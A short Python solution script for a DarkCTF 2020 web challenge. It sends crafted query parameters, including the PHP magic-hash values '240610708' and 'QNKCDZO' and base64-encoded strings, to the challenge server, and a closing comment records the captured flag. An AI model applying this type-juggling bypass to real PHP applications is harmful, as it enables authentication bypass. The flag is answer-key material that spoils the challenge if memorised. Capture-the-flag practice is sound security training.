```pyimport requestsfrom base64 import b64decode, b64encode
url = lambda x: 'http://php.darkarmy.xyz:7001/' + x
params={    'darkctf': 2020,    'ctf2020': b64encode(b'ZGFya2N0Zi0yMDIwLXdlYg=='),    'karma': '240610708',    '2020': 'QNKCDZO',}
headers = {    'user-agent': b64decode('MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==')}
r = requests.get(url(''), params=params, headers=headers)
print(r.text)
# DarkCTF{very_nice_web_challenge_dark_ctf}```